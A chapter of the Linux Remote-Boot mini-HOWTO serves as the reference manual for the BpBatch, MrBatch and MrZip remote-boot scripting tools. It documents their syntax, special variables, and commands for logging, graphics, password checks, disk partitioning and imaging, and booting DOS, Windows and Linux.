Linux Remote-Boot mini-HOWTO: Configuring Remote-Boot Workstations with Linux, DOS, Windows 95/98 and Windows NT: Remote-Boot Tools Reference Manual

 Next Previous Contents

5. Remote-Boot Tools Reference Manual

This section provides detailled informations on the use of the tools we developped at the CUI, University of Geneva for this remote-boot configuration.

5.1 BpBatch, MrBatch and MrZip

These three names stand for three variants of the same program, with the following characteristics:

  • BpBatch is a special program that can be started from the BootProm before the operating system is loaded. It is made of two parts: bpbatch.P, the dynamic loader, and bpbatch.ovl, the program itself. BpBatch has full disk I/O capabilities through our own implementation of FAT16, FAT32 and Ext2fs, as well as remote network I/O capabilities through the BootProm TFTP API. BpBatch was compiled under DOS using Borland C 5.0 and Turbo Assembler 3.2.
  • MrBatch is the DOS/Linux version of BpBatch. All commands recognized by BpBatch are recognized by MrBatch and vice versa. This is very usefull if you want to test your batch scripts from a DOS/Linux session. Under DOS, MrBatch emulates remote I/O by OS-based file access if the bootprom is not available. Under Linux, the bootprom cannot be seen anymore but MrBatch can emulate it using Linux IP support, or use OS-based file access. MrBatch was compiled under Linux using GCC 2.7.2.1 and under DOS using Borland C 5.0 and Turbo Assembler 3.2.
  • MrZip is an interpreter that recognizes a superset of MrBatch language, and that serves to build disk images. In MrZip, the limited remote file I/O is replaced by a full-featured OS-based file access. MrZip does not include VESA support. MrZip was compiled under Linux using GCC 2.7.2.1 and under DOS using Borland C 5.0 and Turbo Assembler 3.2.

Command Line Arguments

All programs accept the same syntax of arguments. MrBatch and MrZip take them from the command line, while BpBatch look for them in the BOOTP option 155 (decimal). Here is the syntax of the arguments:

        [-x] [-l] [-b] [-v] [-w] [-i] [script-basename]
where:
  • -x disable the use of extended memory
  • -l disable the use of ISO-latin-8859-1 as default character set
  • -b cancel the bootprom detection (which cause a floppy seek under DOS)
  • -v cancel the VESA detection (which cause a switch to full screen under Windows 95)
  • -w enable direct disk write access (disabled by default under DOS and Linux)
  • -i enable interactive mode even if a script name is provided
The script-basename is optional. If provided, MrBatch and BpBatch load the file with the .bpb extension, and MrZip loads the file with the .mrz extension. If not provided, MrBatch and MrZip run in interactive mode while BpBatch loads the file with the same basename as the BOOTP Boot file and a .bpb extension.

Syntax rules

The following rules apply when BpBatch parses an input line.

  • Commands are parsed line by line. Lines are separated by CR and/or LF.
  • The maximal line length is currently 255 characters.
  • Keywords and variable names are case-insensitive.
  • " is interpreted as the special string delimiter
  • When ${variable} or $variable is encountred, it is substituted by the value of the variable, or by an empty string if the variable is undefined. The substitution also occurs within a string. Moreover, the resulting substituted value must be explicitely enclosed between double quotes if used as a string value (ie. one should merely speak of macro expansion than of a variables).
    • \a is substituted by the audible-bell character (ASCII 7)
    • \b is substituted by the backspace character (ASCII 8)
    • \n is substituted by the newline character (ASCII 10)
    • \r is substituted by the return character (ASCII 13)
    • \t is substituted by the tabulation character (ASCII 9)
    • \v is substituted by the vertical-tab character (ASCII ...)
    • \nnn where n is a 3-digit octal number between 000 and 377 is substituted by the character with ascii code specified
    • \X where X is any other character not listed above is substituted by X itself. In particular,
      • \" is substituted by a regular double-quote (not a string-delimiter)
      • \$ is substituted by a regular dollar sign (not variable substitution)
      • \\ is substituted by a regular backslash (not a special character)
  • The character "end of string" (ASCII code 0) CANNOT be used anywhere as it is used internally as end-of-string delimiter
  • The character "floating diaeresis" (ASCII code dec 249, hex F9, octal 371) CANNOT be used in any string as it is used internally as string delimiter in the input parsing routine.
  • The character "block space" (ASCII code dec 255, hex FF, octal 377) CANNOT be used in any variable value as it is used internally as variable delimiter.

Empty lines are ignored. Lines starting with a sharp (#) are treated as comments and are not interpreted. Lines starting with a column (:) are treated as labels and are not interpreted.

String expressions

Strings are delimited by opening and closing double-quotes:

        "Hello world"
To include double-quotes within a string, quote them using a backslash:
        "I said: \"Hello world\""
Strings can be postfixed with a few operators.
  • The character substitution operator:
            "Hello world"/o=u/      ==      "Hellu wurld"
        "198.76.54.32"/.= /     ==      "198 76 54 32"
  • The word selection operator (zero-based):
            "Hello world"{0}        ==      "Hello"
        "198 76 54 32"{1-3}     ==      "76 54 32"
  • The substring selection operator (zero-based):
            "Hello world"[4]        ==      "o"
        "Hello world"[4-7]      ==      "o wo"
Operators can be chained by postfixing one after the other. For informations about the string length and word count operators, see under "Numerical expressions".

Numerical expressions

Numerical expressions work on 32-bits integer numbers (from -2,147,483,646 to 2,147,483,647). Hexadecimal octal and binary numbers are not understood. Whenever a numerical expression is expected, the following are recognized:

  • A positive or negative integer number
  • An expression in the form (expr1 op expr2) where op can be either +, -, * (multiply), / (divide) or % (modulo) and expr is a numerical expression. Note that EACH operation MUST be enclosed between parenthesis :
            ((3 * 5)+2)             == 17
  • The string-length operator (@), followed by a string :
            @"Hello world"          == 11
  • The word-count operator (#) followed by a string :
            #"Hello world"          == 2

Durations

A few commands expect durations as arguments. Durations are measured in seconds, with a precision of up to a tenth of second:

        Delay 3                 waits for 3 seconds
        Delay 0.3               waits for 3/10 seconds

Colors

Whenever a color is expected, you can either use the numeric value of the color or its symbolic name (case-insensitive). The following colors are recognized

        Black           0
        Blue            1
        Green           2
        Cyan            3
        Red             4
        Magenta         5
        Brown           6
        LightGray       7
        DarkGray        8
        LightBlue       9
        LightGreen     10
        LightCyan      11
        LightRed       12
        LightMagenta   13
        Yellow         14
        White          15

File References

File names are strings. They must therefore always be enclosed between double-quotes. File names are case-sensitive on case-sensitive filesystems, case-insensitive on case-insensitive filesystems. Slash and backslash can be freely used one in place of the other. Do not forget to double backslash since a single backslash is an escape character.

There are two kinds of file references:

  • Direct disk files
  • Foreign files

Direct disk files are referenced using the following notation:

        "{disk:partition}/absolute/filename"
The disk number can be omitted and defaults to zero. For instance, "{:1}/usr/bin" points to /usr/bin assuming there is such a directory on the first partition. Direct file I/O is solely based on our own file access routines (we do not use the operating system).

There are two special partitions. Partition zero corresponds to the hard disk master boot record (MBR) and has a pseudo file-system which let you access the boot code. Partition minus-one (-1) corresponds to the cache filesystem (see below).

Under BpBatch/MrBatch, foreign files correspond to remote files on the TFTP server when the BootProm is available:

        "help.bpb"           is the file help.bpb in the /tftpboot directory
        "gifs/MyImage.gif"   is a file in /tftpboot/gifs
Other TFTP servers can be referenced :
        "198.76.54.32:help.bpb"
If the other server is behind a gateway :
        "198.70.0.1/198.76.54.31:help.bpb"
One can also specify a specific port for the TFTP connection :
        "198.76.54.32@89:getpasswd/smith"
There can be only one open remote file at a time. If the BootProm is not available, remote files are emulated using the operating system file I/O, but the same restriction apply.

Under MrZip, foreign files correspond to files as seen by the operating system. There is no limitation, and foreign files can be used wherever direct disk files can be. Foreign files are usually faster than direct disk files, because the operating system has more buffers. Foreign files can refer to network files if supported by the operating system.

        "C:\\autoexec.bat"
        "C:/config.sys"
        "/mnt/net/usr"

The Cache Filesystem

In order to reduce network load and to fasten the boot process, disk archives, linux kernels and possibly other files are cached on the hard disk. This disk cache is located at the end of the hard disk, between the last cylinder allocated in the partition table and the last physical cylinder of the disk (out of any allocated partition). There MUST be room between the last partition and the end of the disk if you want the cache filesystem to work. The cache filesystem MUST work if you want to restore a disk image.

The disk cache is organised in a volatile, CRC-validated filesystem : Each directory entry and each 32 KB data block is validated by a 32-bits CRC. Whenever a directory entry or a data block unexpectedly changes, the file is automatically removed from the cache and downloaded again upon the next request.

You can freely access the cache filesystem from within BpBatch, MrBatch and MrZip using direct disk access on the special partition "{:-1}". To see the content of the cache, just type :

        logdir "{:-1}"
If the cache ever gets corrupted and is not automatically cleaned (which should never occurs), you can either type :
        clean -1
(in interactive mode) or hold both shifts down when BpBatch access the cache for the first time.

Special variables

Some variable are initially set and/or have special meanings. Some of them exist within all programs, other are only available under MrZip and other are only available when a BOOTP/DHCP reply has been received.

General variables

  • $Program is set to "BpBatch" within BpBatch, "MrBatch" within MrBatch and "MrZip" within MrZip
  • $Basename is set to the basename of the script on which the batch interpreter was started
  • $HelpFile is the name of the file loaded when Help is invoked. Default: "${Basename}.hlp"
  • $BOOTP-... are variables set from the BOOTP/DHCP reply (see the paragraph on BOOTP/DHCP variables for more details)
  • $DHCP-... are variables set from the DHCP reply (see the paragraph on BOOTP/DHCP variables for more details)
  • $Disks is set to the space-separated list of sizes for each disk. That means, #"$Disks" represent the number of disks and "$Disks"{0} is the size of the first disk
  • $Keypressed is set to the next ready-to-read key available in the keyboard buffer (if available)
  • $LBA controls the use of LBA to access disks > 2Gb. Default: "ON"
  • $FDA controls the use of fast disk access (write accross cylinders). Default: "ON"
  • $VESA controls the use of VESA graphics. Default: "ON" if available
  • $VESA-Modes gives the list of all available VESA modes. The first entry of the list is the default mode, which is used when no parameter is given to InitGraph. Note: if VESA="OFF", this variable is blank
  • $APM is set to "ON" if your computer supports Avanced Power Management. If $APM is "ON", you can use the command PowerOff to turn your computer off. Default: depends on your hardware
  • $Trace controls the display of each command before execution. It also controls the display of file names when creating new archives. Default: "OFF"
  • $AutoShowLog controls the automatic switch to the text log whenever the ESC key is pressed. Default: "ON"
  • $PauseLog controls the pause between each page of log when the log is visible. Default: "ON"
  • $CacheDisk is set to the disk used for caching remote files. Default: empty == 0, the first hard disk
  • $CacheAlways controls the automatic caching of remote files copied, patched or drawn as GIF. Default: "OFF"
  • $CacheNever prevents any file from being cached. Turn this variable on for diskless Linux boot. Default: "OFF"
  • $CacheReserve controls the preventive allocation of 25 percent more space than necessary in the cache partition, to let the files grow. Turn this variable off if you are short of disk space. Default: "ON"
  • $ExtMemory controls the use of Extended Memory (or XMS). Once deactivated, extended memory cannot be reactivated. Default: "ON" if available
  • $IsoLatin controls the interpretation of upper ASCII codes in included and patched files. The IsoLatin settings are processed at the time the file is loaded, not at the time the file is processed. Default: "ON"
  • $ProgressX and $ProgressY controls the position of the progress window displayed in VESA graphics during archive download and decompression. Default: 200 200
  • $EXT2-Backup controls the update of superblock backups in Linux ext2 filesystem. Superblock backups take a few seconds to do and are never used by current kernels (only by e2fsck).
  • $Security-Gateway controls the gateway-server used for user authentication. Our special authentication gateway must be running on the target computer. Default: "${BOOTP-Server-IP}@89" (ie. the TFTP server, on port 89)
  • $Security-Check contains the answer of the security server for the last check performed, either PASSED or FAILED. Default: "FAILED"
  • $Security-Passwd, $HelpTopic, $OnExit, $OnKey-... are used internally.

See also BOOTP variables and MrZip-specific variables.

MrZip-specific variables

The following variables are only used within MrZip.

  • $TempPath controls the directory where temporary files will be stored. Default: <empty> == current directory
  • $DumpFormat controls the way archives are dumped to the log when requested. It is a string containing
    • "h"/"H" to display the archive header
    • "b"/"B" to summarize/dump boot sectors
    • "s"/"S" to display a short/long allocation summary
    • "d"/"D" to display a short/long directory listing
    • "f"/"F" to summarize/dump files
    Default: "hbD"
  • $FragmentSize controls the size of archive pieces. If you do not use InCom's extended TFTP server, you should set this to "30 MB". Default: "87 MB"
  • $SourceArchive, $DestArchive, $Filter... are used internally.

BOOTP variables

The following BOOTP-... and DHCP-... variables are recognized, as long as a BOOTP/DHCP reply has been received (TCP/IP Bootprom must be reported as detected):

        $BOOTP-Client-ID
        $BOOTP-Your-IP
        $BOOTP-Server-IP
        $BOOTP-Gateway-IP
        $BOOTP-Bootfile
        $BOOTP-Server-Name
        $BOOTP-Subnet-Mask
        $BOOTP-Time-Offset
        $BOOTP-Routers
        $BOOTP-Time-Servers
        $BOOTP-Name-Servers
        $BOOTP-Domain-name-Servers
        $BOOTP-BOOTP-Log-Servers
        $BOOTP-Cookie-Servers
        $BOOTP-Lpr-Servers
        $BOOTP-Impress-Servers
        $BOOTP-Resource-Location-Servers
        $BOOTP-Host-Name
        $BOOTP-Boot-Size
        $BOOTP-Merit-Dump
        $BOOTP-Domain-Name
        $BOOTP-Swap-Servers
        $BOOTP-Root-Path
        $BOOTP-Extensions-Path
        $BOOTP-IP-Forwarding
        $BOOTP-Interface-MTU
        $BOOTP-All-Subnets-Are-Local
        $BOOTP-Broadcast-Address
        $BOOTP-NIS-Domain
        $BOOTP-NIS-Servers
        $BOOTP-NTP-Servers
        $BOOTP-Font-Servers
        $BOOTP-X-Display-Manager
        $DHCP-IP-Address-Lease-Time
        $DHCP-Message-Type
        $DHCP-Server-Identifier
        $DHCP-Message
        $DHCP-Renewal-Time
        $DHCP-Rebinding-Time
        $BOOTP-NIS+-Domain
        $BOOTP-NIS+-Servers
        $BOOTP-Server-Name
        $BOOTP-Bootfile
        $BOOTP-Mobile-IP-Agent
        $BOOTP-SMTP-Servers
        $BOOTP-POP3-Servers
        $BOOTP-NNTP-Servers
        $BOOTP-WWW-Servers
        $BOOTP-Finger-Servers
        $BOOTP-IRC-Servers
        $BOOTP-StreetTalk-Servers
        $BOOTP-STDA-Servers

Other BOOTP/DHCP parameters can be used under the name

        $BOOTP-Option-n
where n is the decimal representation of the BOOTP option number.

Do not mix-up BOOTP-Gateway-IP, which is the gateway to use for TFTP and should be 0.0.0.0 if the TFTP server is in the same subnet, and BOOTP-Routers, which contains the default IP gateway(s). The TCP/IP Bootprom sometimes seems to set the value of BOOTP-Gateway-IP from the value in BOOTP-Routers, causing each TFTP ack packet to be sent to the router first. To avoid such behaviour, if your TFTP server is in the same subnet as the client, force BOOTP-Gateway-IP to 0.0.0.0 (thanks to Maciek Uhlig for having pointed out this problem).

Monitoring commands

This section lists commands for monitoring the system state. Optional arguments are listed between parenthesis (I would have prefered square brackets, but LaTeX do not like them at this place...)

Interact

Show the log and turn to interactive mode until QUIT or EXIT is entered. Type HideLog before quitting if you want to avoid disturbing log messages during batch execution.

Help (topic)

Load the on-line help file (bpbatch.hlp) and display the description of the given topic. If no topic is provided, or if the topic is unknown, display the help index.

Log "text"

Display the string on the log. No return/linefeed is implicitely added.

Echo "text"

Display the string on the log and go to the next line. Equivalent to

        Log "text\r\n".

LogVars ("pattern")

Log (ie. display on the log) all variables matching the given pattern. The pattern can contain wildcards (? and *).

Example: LogVars "BOOTP-*"              list all BootP variables
LogDir "path/pattern"

Log (ie. display on the log) all files from the given path that match the pattern. The pattern can contain wildcards (? and *).

Example: LogDir "/usr/g*p"              list files names like g...p
LogTree "path"

Log the directory tree starting with the given path as root.

LogFile "filename"

Log the content of the file. The file must be no more than 64 KB big.

ShowLog

Make the log visible if it was hidden. Automatically performed when ESC is pressed with "$AutoShowLog" == "ON" and when entering interactive mode.

HideLog

Prevent log messages to appear on the screen. Default state when BpBatch, MrBatch and MrZip are started on a script file.

CaptureLog

Record all log output to a 64 KB buffer until EndCapture is issued. Wrap around buffer if the log output is more than 64 KB big. This command can be used to create a text file with an arbitrary content. The EndCapture MUST occurs within the same batch file.

EndCapture ("filename")

End up the capture of the log. If a filename is given, store the captured text to a file. Otherwise, discard it.

Beep

Make a sound. This command is equivalent to Echo "\007".

Control commands

This section lists commands that control the batch execution. Optional arguments are listed between parenthesis.

Include "filename"

Load the given file and start up the parser on it. Go back to the current point when the include file processing is done. The interpretation of characters above ASCII 127 within the include file depends on the value of $IsoLatin at the time the file is included.

OnExit command

Setup an exit-handler that will automatically be evaluated at the end of current batch file.

Goto label

Move the execution cursor to the given label (ie. the line starting with :label)

Eval "command"

Perform all substitutions on the "command" and run the parser on it.

If ...

  If (not) <expr1> (==|!=|<|>|>=|<=|=>|=<|<>) <expr2> <command>
  If (not) (ci) "str1" (==|!=|<|>|>=|<=|=>|=<|<>) "str2" <command>
  If (not) (ci) "str1" Match-Expr "pattern" <command>
  If (not) (ci) "str1" Match-Passwd "unix-passwd" <command>
  If (not) (ci) "str1" in "wordlist" <command>
  If (not) (ci) "str1" in-file "filename" <command>
  If (not) exist "filename" <command>
  If (not) valid <disk>:<partition> <command>

These commands execute command; if the test succeeds. The 1st form compares two numerical expressions. The 2nd form compares two strings, optionally case-insensitive. The 3rd form tests if "str1" matches the given pattern (wildcards allowed). The 4th form tests if the clear password "str1" matches the Unix-crypted password. The 5th form tests if "str1" is included in the word list. The 6th form tests if "str1" is included in the word file. The 7th form tests if the given file exists. The 8th form tests if the given partition is valid (i.e. formatted). This form is only supported by BpBatch versions after February 1999.

Set ...

  Set variable = "string-value"
  Set variable = <expr>

Setup a value for the given variable. If the given value is a numerical expresison, it will be implicitely converted to a string. A variable can be used anywhere by refering it as $variable or ${variable}. If the resulting reference is to be interpreted as a string, it should be enclosed between double quotes: "$variable" or "${variable}".

Delay duration

Waits until the specified duration (expressed in seconds) expired. See also the paragraph on the format of durations.

GetTime variable, GetDate variable

Get the CMOS time and store it into variablein the form HH:MM:SS. Get the CMOS date and store it into variablein the form YY/MM/DD. This can be used to customize the behavior of your boot scripts depending on the time of day or on the date.

SetTime "HH:MM:SS", SetDate "YY/MM/DD"

Set the computer CMOS time or date to the given value. If you have a security gateway (our special TFTP server) running, you can automatically adjust the CMOS time and date of the client computers at each boot by evaluating the following command:

        include "$Security-Gateway:gettime"
If you want to understand what this command does, just type:
        logfile "$Security-Gateway:gettime"

Poweroff

Turn off the computer. This command only works if the computer is Advanced Power Management (APM) compatible.

Keyboard-related commands

This section lists commands that let you monitor the keyboard input. Optional arguments are listed between parenthesis. See also under National Language Support.

GetKey (variable)

Indefinitely wait until a key is pressed and store it in the variable.

WaitForKey duration (command)

Wait until a key is pressed for no more than duration seconds. If no key has been pressed after the given time, evaluate the command. Otherwise, leave the key in the keyboard buffer. See also the paragraph on the format of durations.

Input (variable (max-length))

Read a return-terminated string from the keyboard and store the result string in variable (without the terminating return). If max-length is given, do not allow the user to enter more than this number of characters.

See also GetPasswd under Security-related commands.

OnKey "c" command

Setup a key handler that will automatically evaluate the given command when the key "c" is pressed (except is explicitely waited by a GetChar or an Input command). If the string "default" is used instead of a single character, the command is executed if any other key is pressed.

Text output commands

This section lists commands used to perform regular text output. All these commands can be used in graphic mode also, with the same behaviour (except that text mode provides 80x25 characters while graphic mode provides 100x37, because graphic mode characters are of size 8x16). Optional arguments are listed between parenthesis. See also under National Language Support.

Print "text"/expr

Print the specified string/expression at current cursor position and using current text attributes, then move the cursor. Add "\r\n" to the end of the string to go to the next line.

TextAttr fg-color bg-color

Setup the text attributes. One can also put a single numeric value representing both colors and defined as 16*bg-color+fg-color.

If you need more fantasy, you can use LoadFont. See under National Language Support.

At line,col (command)

Move the cursor position to the specified position and evaluate the command if provided.

Example: At 10,20 Print "Gnats and rats !"
Clear (color (pattern-char (top,left,bottom,right)))

Fill the given text area with the given pattern-char (either a string or the decimal ascii code). The area defaults to the full screen, the pattern char defaults to the full block (ASCII dec 219) and the color defaults to black (clear screen). Move the cursor to the upper left corner of the cleared area.

BpMenu backward compatibility commands

  .ATT (<attribute>)
  .CLS (<attribute>)
  .DEF <key> (<timeout_val>)
  .KEY <key> <filename>
  .POS ((<x>) <y>)
  .PWD <key> <cpasswd>
  .WLN (<text>)
  .WRT <text>

See InCom's manual for more infos. We wrote some time ago a program program for editing menu files using this syntax, but it is preferable to make your menus using the new explicit syntax. Note that the .PWD command is not implemented because we do not now the password crypting algorithm used by InCom GmbH.

Graphics output commands

This section lists commands used to perform graphic-mode output. For the functions listed in this section, coordinates are given in pixels. You can also use all text output commands (see above) in graphic mode. Optional arguments are listed between parenthesis.

Note that the graphic mode is automatically turned on whenever a graphic command is used, unless the variable VESA is set to "OFF".

InitGraph ("mode")

Turn on VESA graphics. The origin is on the upper-left corner of the screen (0 0). VESA graphics may hang some computers under Windows 95. Run MrBatch with the -v option to avoid such problems.

You can request a specific video mode if you use the parameter "mode" This parameter is optional: if you do not specify any value, the video mode will be taken from the first field of the VESA-Modes variable.

Valid modes are :

  • 640x480 => 640 by 480 pixels, 256 colors
  • 800x600 => 800 by 600 pixels, 256 colors (default mode)
  • 1024x768 => 1024 by 768 pixels, 256 colors
  • 1280x1024 => 1280 by 1024 pixels, 256 colors

The VESA-Modes variable lists the video modes supported by your hardware.

Example: InitGraph "640x480"

CloseGraph

Close VESA graphic mode and go back to text mode.

DrawBar x-pos y-pos width height color

VESA graphics. Draw a filled bar of the given size and colors.

DrawWindow x-pos y-pos width height (bg-color (bar-color)) ("title" (title-color))

VESA graphics. Draw a window of the given size and colors. The background color defaults to LightGray and the title-bar color defaults to Blue. If you include a title string and a color, this text will be displayed in the title bar.

Drawtext x-pos y-pos "text" (fg-color)

VESA graphics. Draw the text string at the given position with a transparent background. The color defaults to text foreground color.

DrawGif "gif-filename" (x-pos y-pos (color-strategy))

VESA graphics. Load the given GIF-87a file and draw it on the screen. The file can be interlaced, but must be in GIF-87a (not GIF-89a). The image size should fit in the selected video mode. You cannot load a 1024x768 GIF file when you selected a 640x480 mode. The GIF position defaults to the top left corner of the screen (0 0).

The color-strategy defines the allocation of colors in the palette when more than 256 colors are needed (for instance when two 256 colors GIF files are displayed simultaneously):

  • Best-Colors use best possible colors for the most recent GIF
  • Spare-Colors try to avoid allocating colors, change existing colors
  • Share-Colors try to avoid allocating colors, use existing colors
  • Reuse-Colors allocate no new color, only use existing colors
The default strategy is Best-Colors.

Security-related commands

This section lists commands that help you authenticate a user. Optional arguments are listed between parenthesis.

Some of these functions cooperate with a Security gateway, that you should first install. See the section on Special TFTP servers for more infos.

GetPasswd (variable (max-length))

Same as Input, but echo stars instead of the typed characters.

Crypt "text" "salt" variable

Apply the Unix crypt function to the given 8-chars text and store the resulting crypted string into variable. The "salt" is usually a two-character string that will be found as the first two characters of the crypted string.

Note that Unix crypt is a one-way function. It is not possible to decode the crypted string. One can only try to crypt another string with the same salt and compre the resulting crypted string.

DESCrypt "text" "key" variable

Crypt the given text using the given 8-chars key and store the result as an hexadecimal string in variable.

DESDecrypt "hexcode" "key" variable

Decrypt the given hexadecimal string using the given 8-chars key and store the result in variable.

MD5 "text" variable

Compute the MD5 checksum of the given text and store it as an hexadecimal string in variable. Can be used as an alternative to the Unix crypt function to check for passwords bigger than 8 characters.

CheckUser "user" "password" "domain"

Connect to the $Security-Gateway and check if the given user exist in the given radius domain and uses the specified password. If the domain is "Unix", use the Unix user/password definition on the security gateway. For any other domain, use the security gateway domain definition file to determine the real Radius or NT domain to check.

Set the value of $Security-Check to "PASSED" or "FAILED". The password do not transit in clear on the network.

Disk-related commands

This section lists commands for preparing the hard-disk. Optional arguments are listed between parenthesis.

GetPartitions variable (disk)

Read the partition table(s) for the given disk and store it as a string into the given variable. The result string is a space-separated list of Type:Size, where

  • Type is FAT16, EXT, BIGDOS, NTFS, FAT32, FAT32-LBA, BIGDOS-LBA, EXT-LBA, LINUX-SWAP, LINUX-EXT2 or the decimal filesystem id for unknown types.
  • Size is the size of the partition in megabytes.
See SetPartitions for more informations about partitions.

SetPartitions "partitions" (disk)

Setup the partition table(s) to the content of the string. The format used is the same that for GetPartitions. This command also reset all boot flags (hint: use SetBootPart).

The main partition table in the master boot record (MBR) has only four entries. Moreover, DOS and Windows accept only ONE FAT partition (called the Primary partition, C:) in the main partition table. Any supplemental FAT partition should be nested in an extended partition (and is thus called a Logical partition). If we give numbers 1-4 to the partitions described in the MBR partition table and numbers 5-8 to the partitions described in the first extended partition, the definition of two FAT partitions would work by defining partition 1 as FAT, partition 2 as EXT and partition 5 as FAT. Partitions 3,4,6,7 and 8 should be marked as UNUSED. The same scheme can be used recursively to define more than two FAT partitions: nesting another extended partition in partition 6 and adding a logical FAT partition in partition 9.

In the most strict interpretation of DOS specifications, that means that entries 3 and 4 of the partition tables are never used. In practice, some versions of DOS and some other OS are able to use more than two partitions per partition table, but there is no clear rule. On this side, BpBatch is rather flexible in its interpretation of partition tables, it can often understands things that OSes cannot.

One universal rule is that there should never be more than one extended partition per partition table, otherwise the partition numbering scheme breaks down.

If you want to try funny configurations, make your own experiments, but don't complain if the OS does not recognize your partitions. The only way it is guarantee to work is to use the primary partition to store the OS boot partition, and to nest all other partitions, one at a time, in extended partitions.

Example of extended partitions :

        SetPartitions "BIGDOS:100 EXT:400 EMPTY EMPTY BIGDOS:400"

GetBootPart variable (disk)

Get the partition number with the boot flag turned on (DOS says: the activated primary partition) and store it to the variable. The first partition is numbered 1. If no partitions has the boot flag turned on, answers zero.

SetBootPart partition (disk)

Set the boot flag to the given partition. The boot flag let the master boot record (MBR) choose which partition to boot on. The first partition is numbered 1.

Blank partition (disk)

Fill the given partitions with zeroes. Can take quite a lot of time for big partitions. Do not format the partition for any operating system. See also Clean.

Clean partitions (disk) ("label")

Fast-format the given partition(s) according to the type declared in the partition table. If a label is given and the filesystem supports it, setup the partition label. For a paranoiac full format, call Blank on the partition first.

Clean is supported for (FAT16) BIGDOS, FAT32, EXT, LINUX-EXT2 and LINUX-SWAP partitions. To clean the master boot record (MBR), use Clean 0.

Clean should be used on data partitions and on MBR/EXT partitions. It is totally useless to clean a partition before unzipping a filesystem on it using FullUnzip.

FullUnzip "full-archive" partition (disk)

Decompress a full disk archive to the given partition, overwriting any existing file (clean-up on the fly).

FullUnzip is supported for (FAT16) BIGDOS, FAT32 and LINUX-EXT2.

This commands turn on VESA graphics to display a progress banner, unless VESA has been turned OFF.

IncrUnzip "incr-archive" "destpath"

Decompress an incremental disk archive to the given path. Files in the archive replace those with the same name on the target path, but other files are not deleted.

IncrUnzip is supported for (FAT16) BIGDOS, FAT32 and LINUX-EXT2. This command is far less efficient than FullUnzip since the existing filesystem structure must be preserved. However, it avoids multiplying the number of different disk images by storing the differences only.

FileUnzip "source-filename" "dest-filename"

Uncompress a file previously compressed with MrZip FileZip command. The file is validated by a 32-bits CRC.

Copy "source-filename" "dest-filename"

Copy the source file to the destinaton file, byte-to-byte. Can be used after a FullUnzip for instance to update configuration files from the server without rebuilding the image. Better to use FileUnzip for big and easy-to-compress files.

Append "src-filename-1" "src-filename-2" "dest-filename"

Copy the first, then the second file to the destination file, byte-to-byte. Can be used on arbitrary large files. The destination file cannot be one of the two source files.

Patch "source-filename" "dest-filename" ("prefix" ("postfix"))

Read the source file and perform variable substitution before writing it to the destination file. The interpretation of characters above ASCII 127 depends on the value of $IsoLatin.

By default, variables are recognized when prefixed by "${" and postfixed by "}". This can be changed to any other non-empty string. remember that if you want to use a dollar sign within the prefix or suffix, you must escape it or it will get macro-evaluated. For instance, if you want to explicitely use the default prefix and postfix, use:

        Patch "source-file" "dest-file" "\${" "}"

MkDir "path"

Recursively create directories from the root to the given full path. If the path already exists, this command has no effect.

Delete "filename", Del "filaname"

Remove the given file. The file must exist.

DelTree "path"

Recursively remove all files and directories under the given path, and remove the directory itself.

Boot commands

This section lists commands for continuing the boot process. Optional arguments are listed between parenthesis.

HideBootProm

Restore the memory and the interrupt vectors allocated by the bootprom. All attempts to make TFTP transfers will fail after calling this command. It is usually a good idea to call this command before HdBoot, or you might run short of memory under DOS/Windows. This command is implicitely called by FloppyBoot.

Note that although this function restore all vectors "officially" rerouted by the BootProm, it does not seems to restore everything. But it works well enough for DOS and Windows.

LoadRamDisk "ramdisk-filename"

Load a floppy disk image into the extended memory and redirect the BIOS Disk Services to make floppy disk calls use this image instead. This command implicitely calls HideBootProm. Call FloppyBoot to boot on the ramdisk you just loaded.

This kind of ramdisk may not be as robust as what you get when you use the TFTPBoot command. The only advantage is that it only steals a few hundred bytes of conventional memory instead of the >64 KB reserved by the TCP/IP BootPROM. Warning, nothing secures the extended memory in which the ramdisk resides. There is no way to uninstall such a ramdisk.

LoadZRamDisk "ramdisk-filename"

Do the same as LoadRamDisk, but for an image that has been compressed using MrZip FileZip command. Compressed ramdisks are protected against data corruption (and uncomplete download) by a byte count and a 32-bits CRC.

TFTPBoot "remote-bootfile"

Chain to another boot file (for instance a floppy image made with InCom's BpShell program). See the file referencing conventions for accessing a file on another TFTP server.

FloppyBoot

Hide the Boot ROM, load the floppy disk boot sector and boot on it.

HdBoot (disk)(:partition)

Load the given boot sector and boot from it. The disk default to zero, the first hard disk, and the partition defaults to zero, ie. the master boot record. You can boot from any partition, but be warned that Windows 95 may not let you boot a partition that has not been set as the boot partition (hint: use SetBootPart).

This command does not implicitely call HideBootProm, so you might want to call it before.

LinuxBoot "kernelfile" ("command-line" ("ramdisk-file"))

Load the given kernel and ramdisk into the high memory, setup the command line and boot the kernel. It is a good idea to put at least a minimal command line with the location of the root filesystem (like "root=dev/hda1"/). If you are using a linux system that heavily relies on lilo (like RedHat Linux 5.1), it may be necessary to add to the command line something like BOOT_IMAGE=linux. Note that the kernel can be loaded by TFTP (automatically cached on the hard disk) or directly from the target root partition.

This command works for small and big kernels (zImage and bzImage).

National language support

This section lists commands related not national language support. Optional arguments are listed between parenthesis.

RemapKeys "original-keys" "remapped-keys"

National keyboard support. Remap given keys to other characters. For instance, to swap the Y and Z keys, use

        Remapkeys "yzYZ" "zyZY"
It is a good idea to use the quoted octal notation when using characters not included in the minimal ASCII character set, in order to avoid a dependency to the iso-latin modal settings.

For international keyboards, there are two keys that produce a backslash in non-remapped (US) mode. Each of them can be independantly remapped, thanks to the fact that BpBatch sees one of them as a key answering ASCII code 252 (octal) or ASCII code 335 (octal) when shifted.

If you send me a sample script that does keyboard mapping for your national keyboard, I will make it available under http://cuiwww.unige.ch/info/pc/remote-boot/soft/sample-scripts To help you make your own keyboard mapping, I suggest pressing all special keys without remapping the keyboard and writing down the character they produce. These will be the original-keys. The remapped-keys simply are the key you would have liked to see, in the same order. If some keys (either original or remapped) produce characters above ASCII dec 127, use the quoted octal notation. You can easily get the octal code for any given character by looking in the ASCII table of HelpPC for instance (HelpPC is a shareware hypertext on-line help program by David Jurgens).

RemapAltkeys "original-keys" "remapped-keys"

National keyboard support. Remap the given keys when ALT is depressed For instance, to map Alt-2 to the ampersand sign, use

        RemapAltKeys "2" "@"
Note that dead keys are not supported.

LoadCodePage "cpxxx.bin"

Load and activate the given binary Codepage file. Codepages are used for the translation of Unicode characters (present on VFAT valumes for instance) into 8-bits characters. If you do not have the right Codepage loaded, you will get FAT warnings while accessing the filesystem when special characters are encountred.

All binary codepage files are available at http://cuiwww.unige.ch/info/pc/remote-boot/soft/codepage.zip

